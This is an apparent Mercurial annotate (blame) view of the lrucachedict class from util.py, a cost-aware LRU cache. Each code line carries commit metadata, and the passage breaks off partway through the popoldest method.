18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1382 class lrucachedict(object): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1383 """Dict that caches most recent accesses and sets. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1384 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1385 The dict consists of an actual backing dict - indexed by original |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1386 key - and a doubly linked circular list defining the order of entries in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1387 the cache. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1388 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1389 The head node is the newest entry in the cache. If the cache is full, |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1390 we recycle head.prev and make it the new head. Cache accesses result in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1391 the node being moved to before the existing head and being marked as the |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1392 new head node. |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1393 |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1394 Items in the cache can be inserted with an optional "cost" value. This is |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1395 simply an integer that is specified by the caller. The cache can be queried |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1396 for the total cost of all items presently in the cache. |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1397 |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1398 The cache can also define a maximum cost. If a cache insertion would |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1399 cause the total cost of the cache to go beyond the maximum cost limit, |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1400 nodes will be evicted to make room for the new code. This can be used |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1401 to e.g. set a max memory limit and associate an estimated bytes size |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1402 cost to each item in the cache. By default, no maximum cost is enforced. |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1403 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1404 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1405 def __init__(self, max, maxcost=0): |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1406 self._cache = {} |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1407 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1408 self._head = head = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1409 head.prev = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1410 head.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1411 self._size = 1 |
39564
5d75a3c16193
util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39563
diff
changeset
|
1412 self.capacity = max |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1413 self.totalcost = 0 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1414 self.maxcost = maxcost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1415 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1416 def __len__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1417 return len(self._cache) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1418 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1419 def __contains__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1420 return k in self._cache |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1421 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1422 def __iter__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1423 # We don't have to iterate in cache order, but why not. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1424 n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1425 for i in range(len(self._cache)): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1426 yield n.key |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1427 n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1428 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1429 def __getitem__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1430 node = self._cache[k] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1431 self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1432 return node.value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1433 |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1434 def insert(self, k, v, cost=0): |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1435 """Insert a new item in the cache with optional cost value.""" |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1436 node = self._cache.get(k) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1437 # Replace existing value and mark as newest. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1438 if node is not None: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1439 self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1440 node.value = v |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1441 node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1442 self.totalcost += cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1443 self._movetohead(node) |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1444 |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1445 if self.maxcost: |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1446 self._enforcecostlimit() |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1447 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1448 return |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1449 |
39564
5d75a3c16193
util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39563
diff
changeset
|
1450 if self._size < self.capacity: |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1451 node = self._addcapacity() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1452 else: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1453 # Grab the last/oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1454 node = self._head.prev |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1455 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1456 # At capacity. Kill the old entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1457 if node.key is not _notset: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1458 self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1459 del self._cache[node.key] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1460 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1461 node.key = k |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1462 node.value = v |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1463 node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1464 self.totalcost += cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1465 self._cache[k] = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1466 # And mark it as newest entry. No need to adjust order since it |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1467 # is already self._head.prev. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1468 self._head = node |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1469 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1470 if self.maxcost: |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1471 self._enforcecostlimit() |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1472 |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1473 def __setitem__(self, k, v): |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1474 self.insert(k, v) |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1475 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1476 def __delitem__(self, k): |
40880
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1477 self.pop(k) |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1478 |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1479 def pop(self, k, default=_notset): |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1480 try: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1481 node = self._cache.pop(k) |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1482 except KeyError: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1483 if default is _notset: |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1484 raise |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1485 return default |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1486 value = node.value |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1487 self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1488 node.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1489 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1490 # Temporarily mark as newest item before re-adjusting head to make |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1491 # this node the oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1492 self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1493 self._head = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1494 |
40880
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1495 return value |
7cda0cacbbf6
util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40879
diff
changeset
|
1496 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1497 # Additional dict methods. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1498 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1499 def get(self, k, default=None): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1500 try: |
39571
8f2c0d1b454c
util: update lrucachedict order during get()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39570
diff
changeset
|
1501 return self.__getitem__(k) |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1502 except KeyError: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1503 return default |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1504 |
40879
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1505 def peek(self, k, default=_notset): |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1506 """Get the specified item without moving it to the head |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1507 |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1508 Unlike get(), this doesn't mutate the internal state. But be aware |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1509 that it doesn't mean peek() is thread safe. |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1510 """ |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1511 try: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1512 node = self._cache[k] |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1513 return node.value |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1514 except KeyError: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1515 if default is _notset: |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1516 raise |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1517 return default |
0c638ff69f5c
util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents:
40689
diff
changeset
|
1518 |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1519 def clear(self): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1520 n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1521 while n.key is not _notset: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1522 self.totalcost -= n.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1523 n.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1524 n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1525 |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
1526 self._cache.clear() |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1527 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1528 def copy(self, capacity=None, maxcost=0): |
39565
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1529 """Create a new cache as a copy of the current one. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1530 |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1531 By default, the new cache has the same capacity as the existing one. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1532 But, the cache capacity can be changed as part of performing the |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1533 copy. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1534 |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1535 Items in the copy have an insertion/access order matching this |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1536 instance. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1537 """ |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1538 |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1539 capacity = capacity or self.capacity |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1540 maxcost = maxcost or self.maxcost |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1541 result = lrucachedict(capacity, maxcost=maxcost) |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1542 |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1543 # We copy entries by iterating in oldest-to-newest order so the copy |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1544 # has the correct ordering. |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1545 |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1546 # Find the first non-empty entry. |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1547 n = self._head.prev |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1548 while n.key is _notset and n is not self._head: |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1549 n = n.prev |
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1550 |
39565
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1551 # We could potentially skip the first N items when decreasing capacity. |
2dcc68c7d25b
util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39564
diff
changeset
|
1552 # But let's keep it simple unless it is a performance problem. |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1553 for i in range(len(self._cache)): |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1554 result.insert(n.key, n.value, cost=n.cost) |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1555 n = n.prev |
39563
b31b01f93b11
util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39259
diff
changeset
|
1556 |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1557 return result |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
1558 |
39566
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1559 def popoldest(self): |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1560 """Remove the oldest item from the cache. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1561 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1562 Returns the (key, value) describing the removed cache entry. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1563 """ |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1564 if not self._cache: |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1565 return |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1566 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1567 # Walk the linked list backwards starting at tail node until we hit |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1568 # a non-empty node. |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1569 n = self._head.prev |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1570 while n.key is _notset: |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1571 n = n.prev |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
1572 |
bd9d3a89f07b
util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39565
diff
changeset
|
